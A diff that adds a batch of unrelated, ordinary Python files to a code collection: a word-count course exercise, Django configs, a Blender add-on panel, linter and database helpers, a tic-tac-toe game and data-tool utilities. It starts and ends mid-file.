lmin) + offset = ' SKIP %i' % lmin + if for_update: + upd = ' FOR UPDATE' + return 'SELECT%s%s%s %s FROM %s%s%s%s%s;' % ( + dst, limit, offset, fields, tables, whr, grp, order, upd) + + def drop_table(self, table, mode): + sequence_name = table._sequence_name + return [ + 'DROP TABLE %s %s;' % (table.sqlsafe, mode), + 'DROP GENERATOR %s;' % sequence_name] + + def truncate(self, table, mode=''): + return [ + 'DELETE FROM %s;' % table._tablename, + 'SET GENERATOR %s TO 0;' % table._sequence_name] diff --git a/pool/shard008/Python/0075625_word_count.py b/pool/shard008/Python/0075625_word_count.py new file mode 100644 index 0000000000000000000000000000000000000000..0437c9f886cc9f823d290ae17f91de93692a90cb --- /dev/null +++ b/pool/shard008/Python/0075625_word_count.py @@ -0,0 +1,128 @@ +""" +description: Word Count Program for CSCI 141 +file: word_count.py +language: python3 +author: sps@cs.rit.edu Sean Strout +author: jeh@cs.rit.edu James Heliotis +author: bks@cs.rit.edu ben k steele +author: jsb@cs.rit.edu Jeremy Brown +author: anh@cs.rit.edu Arthur Nunes-Harwitt +author: scj@cs.rit.edu Scott Johnson +""" + +# import the functions needed from the hashtable.py module. + +from hashtable import * + + +def word_count( hTable, filename ): + """ + Record the frequency of all words in the named file in the hashtable. + word_count : HashTable String -> HashTable + """ + + # Read the words of the text file into the word count table. + fd = open( filename ) + for line in fd: + for word in line.split(): + # using a regular expression argument to strip(), + # strip out punctuation and convert token to lower-case. + word = word.strip(",.\"\';:-!?").lower() + if hTable.has( word ): + count = hTable.get( word ) + hTable.put( word, count + 1 ) + else: + hTable.put( word, 1 ) + + fd.close() # closing the file is a 'good practice'. + return hTable + +def printSummary( theTable ): + """ + printSummary prints a summary of information about the hash table contents. + printSummary : HashTable -> NoneType + """ + + # Display the entire table! + print( "Unique words:", theTable.size ) + + # Find the most common word in the text file. + total = 0 + maxWord = "" + maxCount = 0 + for key in theTable.keys( ): + thisCount = theTable.get( key ) + total += thisCount + if thisCount > maxCount: + maxCount = thisCount + maxWord = key + + print( "There are " + str( len( theTable.keys( ) ) ) + " words." ) + print( "Total words:", total ) + print( '"' + maxWord + "\" appeared ", str( maxCount ), + " times, more than any other word." ) + +def printTable( hTable ): + """ + Print the contents of the given hash table. + Each key/value pair is displayed in parentheses, tuple-style. + All pairs appear on a single line. + printTable : HashTable -> NoneType + """ + print( "Word Count Data ---------------" ) + lcount = 0 + ltext = 0 + for key in hTable.keys( ): + # print( "(" + key + "," + str( hTable.get( key ) ) + ")", end=" " ) + txt = "(" + key + "," + str( hTable.get( key ) ) + ")" + ltext += len( txt ) + if ltext > 51: + print( txt ) + ltext = 0 + else: + print( txt, end=" " ) + print() + +def main(): + capacity = int( input( "Enter capacity (-1 for default): " ) ) + if capacity < 0: + hTable = createHashTable() + else: + hTable = createHashTable( capacity ) + filename = input( "Enter filename: " ) + + wordTable = word_count( hTable, filename ) + printSummary( wordTable ) + + while True: + + print( "Commands: k[ey] f[ind] q[uit] ? ", end=" " ) + response = input( ":- " ) # the displayed prompt + query = response.split() + + if len( response ) == 0 or not response[0] in "fkq": + print( response + " invalid. Please enter a command and a word." ) + response = "" + continue + + if query[0] == "k": + print( "( " + query[1] + " in text ) is " \ + + str( wordTable.has( query[1] ) ) + "." ) + + if query[0] == "f": + if wordTable.has( query[1] ): + print( query[1] + " appears " \ + + str( wordTable.get( query[1] ) ) + " times." ) + else: + print( query[1] + " in not in the text." ) + + if query[0] == "q": + break + # + answer = input( "Do you want to see the entire table?(y/n) " ) + if answer != "y": + return + printTable( wordTable ) + +# run the main program +main() diff --git a/pool/shard008/Python/0075632_printout.py b/pool/shard008/Python/0075632_printout.py new file mode 100644 index 0000000000000000000000000000000000000000..2c6d279766a6690eac118bbf4a20b35e981b4a2a --- /dev/null +++ b/pool/shard008/Python/0075632_printout.py @@ -0,0 +1,44 @@ +#!/usr/bin/python + +import json +from time import gmtime, strftime +import re +import tenjin +from tenjin.helpers import * + + +def replace_at(t): + return re.sub("@", " at ", t) + +id2label = {'17': 'DSA', '1': 'RSA', '18': 'ECDH', '19': 'ECDSA', '16': 'Elgamal', '22':'EdDSA (ed25519)' } + +keylist = [] + +with open('keys.json', 'rb') as keys_file: + keys = json.load(keys_file) + + for key in keys: + temp_key = dict() + temp_key['creation'] = strftime("%F", gmtime(int(key['creation']))) + temp_key['expires'] = 'Never' if key['expires'] == '' else strftime("%F", gmtime(int(key['expires']))) + + temp_key['algo'] = id2label.get(key['algo'], key['algo']) + uids = [] + for uid in key['uid']: + # Re-encode UIDs + uids.append(replace_at(uid)) + # push(@u, &replace_at(encode_entities($uid))); + + temp_key['uid'] = uids + temp_key['size'] = key['size'] + temp_key['fingerprint'] = key['fingerprint'] + keylist.append(temp_key) + +# print keylist + +template_context = dict(keylist=keylist, + last_update=strftime("%F %T", gmtime())) +engine = tenjin.Engine(path=['.']) + +with open('printout.html', 'wb') as template_output: + template_output.write(engine.render('printout.pyhtml', template_context)) diff --git a/pool/shard008/Python/0075634_urls.py b/pool/shard008/Python/0075634_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..d3a48b19af43fce0465f442a4fef9b4bf042f57d --- /dev/null +++ b/pool/shard008/Python/0075634_urls.py @@ -0,0 +1,20 @@ +from django.conf.urls import url +from django.contrib import admin +from django.conf import settings +from django.conf.urls.static import static + +from uploads.core import views + + +urlpatterns = [ + url(r'^$', views.home, name='home'), + url(r'^uploads/load_all/$', views.load_all, name='load_all'), + url(r'^uploads/clean/$', views.clean, name='clean'), + url(r'^uploads/organize/$', views.organize, name='organize'), + url(r'^uploads/simple/$', views.simple_upload, name='simple_upload'), + url(r'^uploads/form/$', views.model_form_upload, name='model_form_upload'), + url(r'^admin/', admin.site.urls), +] + +if settings.DEBUG: + urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) diff --git a/pool/shard008/Python/0075637_extract_object_files_main.py b/pool/shard008/Python/0075637_extract_object_files_main.py new file mode 100644 index 0000000000000000000000000000000000000000..4b23521ed25c1bf9132ec8e3d05d1c1c05c204b3 --- /dev/null +++ b/pool/shard008/Python/0075637_extract_object_files_main.py @@ -0,0 +1,38 @@ +# Copyright 2021 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +# Lint as: python3 +"""Command line tool version of the extract_object_files module. + +This command line tool version takes the archive file path and the destination +directory path as the positional command line arguments. +""" + +import sys +from typing import Sequence +from tensorflow.lite.ios import extract_object_files + + +def main(argv: Sequence[str]) -> None: + if len(argv) != 3: + raise RuntimeError('Usage: {} '.format(argv[0])) + + archive_path = argv[1] + dest_dir = argv[2] + with open(archive_path, 'rb') as archive_file: + extract_object_files.extract_object_files(archive_file, dest_dir) + + +if __name__ == '__main__': + main(sys.argv) diff --git a/pool/shard008/Python/0075638_star.py b/pool/shard008/Python/0075638_star.py new file mode 100644 index 0000000000000000000000000000000000000000..eb516c0b1f3d8dce7c859587894f4c2826557300 --- /dev/null +++ b/pool/shard008/Python/0075638_star.py @@ -0,0 +1,77 @@ +"""Module containing functions for calling STAR.""" + +from .util import flatten_arguments, run_command + + +def star_index(fasta_path, + gtf_path, + output_dir, + overhang=100, + threads=1, + log_path=None): + """Builds a bowtie index for a reference genome. + + Parameters + ---------- + fasta_path : pathlib.Path + Path to the reference genome. + gtf_path : pathlib.Path + Path to the reference gtf file. + output_dir pathlib.Path: + Output directory for the built index. + overhang : int + Value to use for sjdbOverhang (see STAR manual for more details). + threads : int + Number of threads to use. + log_path : pathlib.Path + Where to write the log output. + + """ + + output_dir.mkdir(exist_ok=False, parents=True) + + args = [ + 'STAR', '--runMode', 'genomeGenerate', '--genomeDir', str(output_dir), + '--genomeFastaFiles', str(fasta_path), '--sjdbGTFfile', str(gtf_path), + '--sjdbOverhang', str(overhang), '--runThreadN', str(threads) + ] + + run_command(args=args, log_path=log_path) + + +def star_align( + fastq_path, + index_path, + output_dir, + fastq2_path=None, + extra_args=None, + threads=1, + log_path=None, ): + """Runs STAR in alignment mode for the given fastqs.""" + + extra_args = extra_args or {} + + if not output_dir.exists(): + output_dir.mkdir(parents=True) + + # Check if files are gzipped. + if fastq_path.suffixes[-1] == '.gz': + extra_args['--readFilesCommand'] = ('gunzip', '-c') + + if threads > 1: + extra_args['--runThreadN'] = threads + + # Assemble arguments. + if fastq2_path is None: + fastq_args = [str(fastq_path)] + else: + fastq_args = [str(fastq_path), str(fastq2_path)] + + args = [ + 'STAR', '--genomeDir', str(index_path), '--outFileNamePrefix', + str(output_dir) + '/', '--readFilesIn' + ] + fastq_args + + args += [str(arg) for arg in flatten_arguments(extra_args or {})] + + run_command(args=args, log_path=log_path) diff --git a/pool/shard008/Python/0075640_ui.py b/pool/shard008/Python/0075640_ui.py new file mode 100644 index 0000000000000000000000000000000000000000..05dc1825a1d5699c1ec959caa976355d7d06ff47 --- /dev/null +++ b/pool/shard008/Python/0075640_ui.py @@ -0,0 +1,101 @@ +# BlenderBIM Add-on - OpenBIM Blender Add-on +# Copyright (C) 2020, 2021 Dion Moult +# +# This file is part of BlenderBIM Add-on. +# +# BlenderBIM Add-on is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# BlenderBIM Add-on is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with BlenderBIM Add-on. If not, see . + +from bpy.types import Panel, UIList, Mesh +from blenderbim.bim.ifc import IfcStore +from ifcopenshell.api.layer.data import Data + + +class BIM_PT_layers(Panel): + bl_label = "IFC Presentation Layers" + bl_idname = "BIM_PT_layers" + bl_options = {"DEFAULT_CLOSED"} + bl_space_type = "PROPERTIES" + bl_region_type = "WINDOW" + bl_context = "scene" + bl_parent_id = "BIM_PT_geometry_object" + + @classmethod + def poll(cls, context): + return IfcStore.get_file() + + def draw(self, context): + if not Data.is_loaded: + Data.load(IfcStore.get_file()) + + self.props = context.scene.BIMLayerProperties + + row = self.layout.row(align=True) + row.label(text="{} Layers Found".format(len(Data.layers.keys()))) + if self.props.is_editing: + row.operator("bim.add_presentation_layer", text="", icon="ADD") + row.operator("bim.disable_layer_editing_ui", text="", icon="CANCEL") + else: + row.operator("bim.load_layers", text="", icon="GREASEPENCIL") + + if self.props.is_editing: + self.layout.template_list( + "BIM_UL_layers", + "", + self.props, + "layers", + self.props, + "active_layer_index", + ) + + if self.props.active_layer_id: + self.draw_editable_ui(context) + + def draw_editable_ui(self, context): + for attribute in self.props.layer_attributes: + row = self.layout.row(align=True) + row.prop(attribute, "string_value", text=attribute.name) + if attribute.is_optional: + row.prop(attribute, "is_null", icon="RADIOBUT_OFF" if attribute.is_null else "RADIOBUT_ON", text="") + + +class BIM_UL_layers(UIList): + def draw_item(self, context, layout, data, item, icon, active_data, active_propname): + if item: + row = layout.row(align=True) + row.label(text=item.name) + + if context.active_object and isinstance(context.active_object.data, Mesh): + mprops = context.active_object.data.BIMMeshProperties + if ( + mprops.ifc_definition_id in Data.items + and item.ifc_definition_id in Data.items[mprops.ifc_definition_id] + ): + op = row.operator("bim.unassign_presentation_layer", text="", icon="KEYFRAME_HLT", emboss=False) + op.layer = item.ifc_definition_id + else: + op = row.operator("bim.assign_presentation_layer", text="", icon="KEYFRAME", emboss=False) + op.layer = item.ifc_definition_id + + row.operator("bim.disable_editing_layer", text="", icon="HIDE_OFF", emboss=False) + row.operator("bim.disable_editing_layer", text="", icon="FREEZE", emboss=False) + + if context.scene.BIMLayerProperties.active_layer_id == item.ifc_definition_id: + row.operator("bim.edit_presentation_layer", text="", icon="CHECKMARK") + row.operator("bim.disable_editing_layer", text="", icon="CANCEL") + elif context.scene.BIMLayerProperties.active_layer_id: + row.operator("bim.remove_presentation_layer", text="", icon="X").layer = item.ifc_definition_id + else: + op = row.operator("bim.enable_editing_layer", text="", icon="GREASEPENCIL") + op.layer = item.ifc_definition_id + row.operator("bim.remove_presentation_layer", text="", icon="X").layer = item.ifc_definition_id diff --git a/pool/shard008/Python/0075642_admin.py b/pool/shard008/Python/0075642_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..80cb9270be5c0fd015e24dd65bac536942775e5e --- /dev/null +++ b/pool/shard008/Python/0075642_admin.py @@ -0,0 +1,31 @@ +from django.contrib import admin +from django.contrib.auth.admin import UserAdmin +from people.models import User +from django.utils.translation import ugettext as _ + +from .forms import CustomUserCreationForm, CustomUserChangeForm + + +class CustomUserAdmin(UserAdmin): + # Set the add/modify forms + add_form = CustomUserCreationForm + form = CustomUserChangeForm + fieldsets = ( + (None, {'fields': ('email', 'password')}), + (_('Personal info'), {'fields': ( + 'first_name', 'last_name', 'twitter', 'github', 'tshirt_size')}), + (_('Permissions'), {'fields': ( + 'is_active', 'is_staff', 'is_superuser', 'groups', 'user_permissions')}), + ) + add_fieldsets = ( + (None, { + 'classes': ('wide',), + 'fields': ('email', 'password1', 'password2'), + }), + ) + list_display = ('email', 'first_name', 'last_name', 'is_staff', 'is_superuser') + list_filter = ('is_staff', 'is_superuser', 'is_active', 'groups') + search_fields = ('first_name', 'last_name', 'email') + ordering = ('email',) + +admin.site.register(User, CustomUserAdmin) diff --git a/pool/shard008/Python/0075646_ruby_linter.py b/pool/shard008/Python/0075646_ruby_linter.py new file mode 100644 index 0000000000000000000000000000000000000000..c0d6a74c34313733a7d57dda6b808592649e878f --- /dev/null +++ b/pool/shard008/Python/0075646_ruby_linter.py @@ -0,0 +1,144 @@ +# +# ruby_linter.py +# Part of SublimeLinter3, a code checking framework for Sublime Text 3 +# +# Written by Aparajita Fishman +# +# Project: https://github.com/SublimeLinter/SublimeLinter3 +# License: MIT +# + +"""This module exports the RubyLinter subclass of Linter.""" + +import os +import re +import shlex + +from . import linter, persist, util + +CMD_RE = re.compile(r'(?P.+?)@ruby') + + +class RubyLinter(linter.Linter): + + """ + This Linter subclass provides ruby-specific functionality. + + Linters that check ruby using gems should inherit from this class. + By doing so, they automatically get the following features: + + - comment_re is defined correctly for ruby. + + - Support for rbenv and rvm (via rvm-auto-ruby). + + """ + + comment_re = r'\s*#' + + @classmethod + def initialize(cls): + """Perform class-level initialization.""" + + super().initialize() + + if cls.executable_path is not None: + return + + if not callable(cls.cmd) and cls.cmd: + cls.executable_path = cls.lookup_executables(cls.cmd) + elif cls.executable: + cls.executable_path = cls.lookup_executables(cls.executable) + + if not cls.executable_path: + cls.disabled = True + + @classmethod + def reinitialize(cls): + """Perform class-level initialization after plugins have been loaded at startup.""" + + # Be sure to clear cls.executable_path so that lookup_executables will run. + cls.executable_path = None + cls.initialize() + + @classmethod + def lookup_executables(cls, cmd): + """ + Attempt to locate the gem and ruby specified in cmd, return new cmd list. + + The following forms are valid: + + gem@ruby + gem + ruby + + If rbenv is installed and the gem is also under rbenv control, + the gem will be executed directly. Otherwise [ruby <, gem>] will + be returned. + + If rvm-auto-ruby is installed, [rvm-auto-ruby <, gem>] will be + returned. + + Otherwise [ruby] or [gem] will be returned. + + """ + + ruby = None + rbenv = util.which('rbenv') + + if not rbenv: + ruby = util.which('rvm-auto-ruby') + + if not ruby: + ruby = util.which('ruby') + + if not rbenv and not ruby: + persist.printf( + 'WARNING: {} deactivated, cannot locate ruby, rbenv or rvm-auto-ruby' + .format(cls.name, cmd[0]) + ) + return [] + + if isinstance(cmd, str): + cmd = shlex.split(cmd) + + match = CMD_RE.match(cmd[0]) + + if match: + gem = match.group('gem') + elif cmd[0] != 'ruby': + gem = cmd[0] + else: + gem = '' + + if gem: + gem_path = util.which(gem) + + if gem_path: + if (rbenv and + ('{0}.rbenv{0}shims{0}'.format(os.sep) in gem_path or + (os.altsep and '{0}.rbenv{0}shims{0}'.format(os.altsep in gem_path)))): + ruby_cmd = [gem_path] + else: + ruby_cmd = [ruby, gem_path] + else: + persist.printf( + 'WARNING: {} deactivated, cannot locate the gem \'{}\'' + .format(cls.name, gem) + ) + return [] + else: + ruby_cmd = [ruby] + + if cls.env is None: + # Don't use GEM_HOME with rbenv, it prevents it from using gem shims + if rbenv: + cls.env = {} + else: + gem_home = util.get_environment_variable('GEM_HOME') + + if gem_home: + cls.env = {'GEM_HOME': gem_home} + else: + cls.env = {} + + return ruby_cmd diff --git a/pool/shard008/Python/0075649_init__.py b/pool/shard008/Python/0075649_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..dad651cb97efa22ffc8792dd5f382ae84ee49773 --- /dev/null +++ b/pool/shard008/Python/0075649_init__.py @@ -0,0 +1,101 @@ +__version__ = '0.1' + +# Lense Libraries +from lense.common.exceptions import RequestError + +class PortalBase(object): + def log(self, msg, level='info', method=None): + """ + Wrapper method for logging with a prefix. + + :param msg: The message to log + :type msg: str + :param level: The desired log level + :type level: str + :param method: Optionally append the method to log prefix + :type method: str + """ + logger = getattr(LENSE.LOG, level, 'info') + logger(' {4}'.format( + self.__class__.__name__, + '' if not method else '.{0}'.format(method), + LENSE.REQUEST.USER.name, + LENSE.REQUEST.client, + msg + )) + +class PortalInterface(PortalBase): + """ + Interface class for portal commons. + """ + def __init__(self): + + # Load handlers / controllers + self.handlers = LENSE.MODULE.handlers(ext='views', load='HandlerView') + self.controllers = LENSE.MODULE.handlers(ext='controller', load='HandlerController') + + # Template / assets handler + self.TEMPLATE = LENSE.import_class('PortalTemplate', 'lense.portal.ui.core.template') + self.ASSETS = LENSE.import_class('PortalAssets', 'lense.portal.ui.core.assets') + + # Bootstrap the portal interface + self._set_session() + + def controller(self, **kwargs): + """ + Run the target application controller. + """ + + # If the user is authenticated + if LENSE.REQUEST.USER.authorized: + + # Redirect to home page + if (LENSE.REQUEST.path == 'auth') and not (LENSE.REQUEST.data.get('bootstrap')): + return LENSE.HTTP.redirect('home') + + # Return the template response + return self.controllers[LENSE.REQUEST.path]().construct(**kwargs) + + # User is not authenticated + else: + + # Redirect to the login screen if trying to access any other page + if not LENSE.REQUEST.path == 'auth': + return LENSE.HTTP.redirect('auth') + + # Return the template response + return self.controllers[LENSE.REQUEST.path]().construct(**kwargs) + + def _set_session(self): + """ + Set session variables. + """ + if LENSE.REQUEST.USER.authorized: + + # Get the user details + user = LENSE.OBJECTS.USER.get(username=LENSE.REQUEST.USER.name) + groups = user.groups + + # Set the 'is_admin' flag + LENSE.REQUEST.SESSION.set('is_admin', LENSE.REQUEST.USER.admin) + + # If the active group hasn't been set yet + if not LENSE.REQUEST.SESSION.get('active_group'): + LENSE.REQUEST.SESSION.set('active_group', groups[0]) + + def set_active_group(self, group): + """ + Change the session variable for the active API user group. + """ + user = LENSE.OBJECTS.USER.get(username=LENSE.REQUEST.USER.name) + + # Make sure the user is a member of the group + is_member = False + for usr_group in user.groups: + if usr_group['uuid'] == group: + is_member = True + break + + # If the group is valid + if is_member: + LENSE.REQUEST.SESSION.set('active_group', group) \ No newline at end of file diff --git a/pool/shard008/Python/0075650_27ex.py b/pool/shard008/Python/0075650_27ex.py new file mode 100644 index 0000000000000000000000000000000000000000..5bc55c7963d685d736ea2f0d09a2dd6c1a642bf4 --- /dev/null +++ b/pool/shard008/Python/0075650_27ex.py @@ -0,0 +1,65 @@ +import ticktack + +def get_coordinates(grid, player, max_size = 2, min_size = 0): + valid = False + while not valid: + + print(' 1 2 3') + for col, row in enumerate(grid): + print(col+1, row) + prompt = 'Player {}, input your coordinates as "x,y"' + coord = raw_input(prompt.format(player)) + x,y = coord.split(',') + x = int(x) - 1 + y = int(y) - 1 + if x <= max_size and x >= min_size: + if y <= max_size and y >= min_size: + valid = True + else: + print('invalid coordinates, try again') + else: + print('invalid coordinates, try again') + return x, y + + +def turn(grid, player): + x, y = get_coordinates(grid, player) + if grid[y][x] == 0: + grid[y][x] = player + return grid + else: + raise ValueError('Coordinates already occupied') + +def main(): + grid = [[0, 0, 0], + [0, 0, 0], + [0, 0, 0]] + + player = 2 + + full = False + + while not full: + + # Alternate between players + if player == 2: + player = 1 + else: + player = 2 + + successful = False + while not successful: + try: + grid = turn(grid,player) + successful = True + except ValueError as e: + print('Error:' , e) + + pg = grid[0]+grid[1]+grid[2] + full = not 0 in pg + + print('Board full...') + ticktack.checkWinner(grid) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0075664_StatusMessage.py b/pool/shard008/Python/0075664_StatusMessage.py new file mode 100644 index 0000000000000000000000000000000000000000..b37475119dfe89b1113121575f7d619cc0bf5d52 --- /dev/null +++ b/pool/shard008/Python/0075664_StatusMessage.py @@ -0,0 +1,64 @@ +# -*- coding: utf-8 -*- + +# ########################## Copyrights and license ############################ +# # +# Copyright 2013 Vincent Jacques # +# # +# This file is part of PyGithub. # +# http://pygithub.github.io/PyGithub/v1/index.html # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +# ############################################################################## + +import github.GithubObject + + +class StatusMessage(github.GithubObject.NonCompletableGithubObject): + """ + This class represents status messages as defined in https://status.github.com/api + """ + + @property + def body(self): + """ + :type: string + """ + return self._body.value + + @property + def status(self): + """ + :type: string + """ + return self._status.value + + @property + def created_on(self): + """ + :type: datetime.datetime + """ + return self._created_on.value + + def _initAttributes(self): + self._status = github.GithubObject.NotSet + self._created_on = github.GithubObject.NotSet + + def _useAttributes(self, attributes): + if "body" in attributes: # pragma no branch + self._body = self._makeStringAttribute(attributes["body"]) + if "status" in attributes: # pragma no branch + self._status = self._makeStringAttribute(attributes["status"]) + if "created_on" in attributes: # pragma no branch + self._created_on = self._makeDatetimeAttribute(attributes["created_on"]) diff --git a/pool/shard008/Python/0075665_db_oracle.py b/pool/shard008/Python/0075665_db_oracle.py new file mode 100644 index 0000000000000000000000000000000000000000..9155e5529957eb5dc041b31ada984c1c26123580 --- /dev/null +++ b/pool/shard008/Python/0075665_db_oracle.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +# -*- coding: utf-8 -*- + +# Copyright (C) 2009-2012: +# Gabes Jean, naparuba@gmail.com +# Gerhard Lausser, Gerhard.Lausser@consol.de +# Gregory Starck, g.starck@gmail.com +# Hartmut Goebel, h.goebel@goebel-consult.de +# +# This file is part of Shinken. +# +# Shinken is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Shinken is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Shinken. If not, see . + +# Failed to import will be catch by __init__.py +from cx_Oracle import connect as connect_function +from cx_Oracle import IntegrityError as IntegrityError_exp +from cx_Oracle import ProgrammingError as ProgrammingError_exp +from cx_Oracle import DatabaseError as DatabaseError_exp +from cx_Oracle import InternalError as InternalError_exp +from cx_Oracle import DataError as DataError_exp +from cx_Oracle import OperationalError as OperationalError_exp + +from shinken.db import DB +from shinken.log import logger + +connect_function = None +IntegrityError_exp = None +ProgrammingError_exp = None +DatabaseError_exp = None +InternalError_exp = None +DataError_exp = None +OperationalError_exp = None + + +class DBOracle(DB): + """Manage connection and query execution against Oracle databases.""" + + def __init__(self, user, password, database, table_prefix=''): + self.user = user + self.password = password + self.database = database + self.table_prefix = table_prefix + + def connect_database(self): + """Create the database connection + TODO: finish (begin :) ) error catch and conf parameters... + """ + + connstr = '%s/%s@%s' % (self.user, self.password, self.database) + + self.db = connect_function(connstr) + self.db_cursor = self.db.cursor() + self.db_cursor.arraysize = 50 + + def execute_query(self, query): + """ Execute a query against an Oracle database. + """ + logger.debug("[DBOracle] Execute Oracle query %s\n" % (query)) + try: + self.db_cursor.execute(query) + self.db.commit() + except IntegrityError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise an integrity error:" \ + " %s, %s" % (query, exp)) + except ProgrammingError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise a programming error:" \ + " %s, %s" % (query, exp)) + except DatabaseError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise a database error:" \ + " %s, %s" % (query, exp)) + except InternalError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise an internal error:" \ + " %s, %s" % (query, exp)) + except DataError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise a data error:" \ + " %s, %s" % (query, exp)) + except OperationalError_exp, exp: + logger.warning("[DBOracle] Warning: a query raise an operational error:" \ + " %s, %s" % (query, exp)) + except Exception, exp: + logger.warning("[DBOracle] Warning: a query raise an unknown error:" \ + " %s, %s" % (query, exp)) + logger.warning(exp.__dict__) diff --git a/pool/shard008/Python/0075672_sync_areas_tests.py b/pool/shard008/Python/0075672_sync_areas_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..8c8985786b4f993b513858468fd04f0929e4d317 --- /dev/null +++ b/pool/shard008/Python/0075672_sync_areas_tests.py @@ -0,0 +1,12 @@ +from lizard_area.sync_areas import Synchronizer + +def test_a(): + synchronizer = Synchronizer() + assert len(synchronizer.properties_keys_to_lower({})) == 0 + +def test_b(): + synchronizer = Synchronizer() + orig_dict = {'gafsoort_krw': 'dont care'} + assert orig_dict == synchronizer.properties_keys_to_lower(orig_dict) + orig_dict = {'fsoort_krw': 'dont care'} + assert {'gafsoort_krw': 'dont care'} == synchronizer.properties_keys_to_lower(orig_dict) diff --git a/pool/shard008/Python/0075675_unfurl.py b/pool/shard008/Python/0075675_unfurl.py new file mode 100644 index 0000000000000000000000000000000000000000..56c8eed0467a728a0e5e7f956f9659582cafa610 --- /dev/null +++ b/pool/shard008/Python/0075675_unfurl.py @@ -0,0 +1,71 @@ +'''This adds the `unfurl-col` command, to unfurl a column containing iterable values, such as lists and dicts. +Unfurling pushes a new sheet, with each key/value pair in the unfurled column values getting its own row, with the rest of the source sheet's columns copied for each of those rows. + +Note: When unfurling a column, non-iterable objects (numbers, and also strings) are treated as single-item lists, so that they too can be unfurled. + +Credit to Jeremy Singer-Vine for the idea and original implementation. +''' + +from collections.abc import Iterable, Mapping +from visidata import vd, Progress, Sheet, Column, ColumnItem, SettableColumn, SubColumnFunc, asyncthread, clean_to_id +from visidata import stacktrace, TypedExceptionWrapper + + +vd.option('unfurl_empty', False, 'if unfurl includes rows for empty containers', replay=True) + + +class UnfurledSheet(Sheet): + # rowdef: [row, key, sub_value] + @asyncthread + def reload(self): + # Copy over base sheet, using SubColumnFunc + self.columns = [] + for col in self.source.columns: + if col is self.source_col: + # Replace iterable column with two columns: keys and values + self.cursorVisibleColIndex = len(self.columns)-1 + self.addColumn(ColumnItem(col.name + "_key", 1)) + self.addColumn(ColumnItem(col.name + "_value", 2)) + else: + self.addColumn(SubColumnFunc(col.name, col, 0, keycol=col.keycol)) + + self.rows = [] + unfurl_empty = self.options.unfurl_empty + for row in Progress(self.source.rows): + try: + val = self.source_col.getValue(row) + except Exception as e: + e.stacktrace = stacktrace() + if unfurl_empty: + # TypedExceptionWrapper allows the use of z^E to see the stacktrace + # the exception on its own lacks clarity + self.addRow([row, TypedExceptionWrapper(None, exception=e), TypedExceptionWrapper(None, exception=e)]) + else: + vd.exceptionCaught(e) + continue + + if not isinstance(val, Iterable) or isinstance(val, str): + val = [ val ] + + if isinstance(val, Mapping): + gen = val.items() + else: + gen = enumerate(val) + + nadded = 0 + for key, sub_value in gen: + new_row = [ row, key, sub_value ] + self.addRow(new_row) + nadded += 1 + + if unfurl_empty and not nadded: + self.addRow([row, None, None]) + +@Sheet.api +def unfurl_col(sheet, col): + clean_id = clean_to_id(col.name) + vs = UnfurledSheet(f"{sheet.name}_{clean_id}_unfurled", source=sheet, source_col=col) + return vs + + +Sheet.addCommand("zM", "unfurl-col", "vd.push(unfurl_col(cursorCol))", "row-wise expand current column of lists (e.g. [2]) or dicts (e.g. {3}) within that column") diff --git a/pool/shard008/Python/0075676_init__.py b/pool/shard008/Python/0075676_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..839c9a79dfde91b2a4ee265e7e554dcf0be71555 --- /dev/null +++ b/pool/shard008/Python/0075676_init__.py @@ -0,0 +1,119 @@ +# -*- coding: utf-8 -*- +from __future__ import division +import operator + +import math + +class UnknownType(float): + + def __add__(self, other): + return Unknown + + def __sub__(self, other): + return Unknown + + def __mod__(self, other): + return Unknown + + def __div__(self, other): + return Unknown + + def __mul__(self, other): + return Unknown + +Unknown = UnknownType() + + +class RPNOperator(object): + + def __init__(self, func, num_elements): + self.func = func + self.num_elems = num_elements + + def __call__(self, tokens, pos): + args = tokens[pos - self.num_elems:pos] + try: + result = [self.func(*tuple(args))] + except ZeroDivisionError: + result = [Unknown] + + tokens[pos-self.num_elems:pos+1] = result + return tokens + + +def operator_limit(value, low, high): + if low <= value <= high: + return value + return None + +def div_or_unknown(a, b): + try: + return a / b + except ZeroDivisionError: + return Unknown + +OPERATORS = { + # MATH + '+': RPNOperator(operator.add, 2), + '-': RPNOperator(operator.sub, 2), + '*': RPNOperator(operator.mul, 2), + '/': 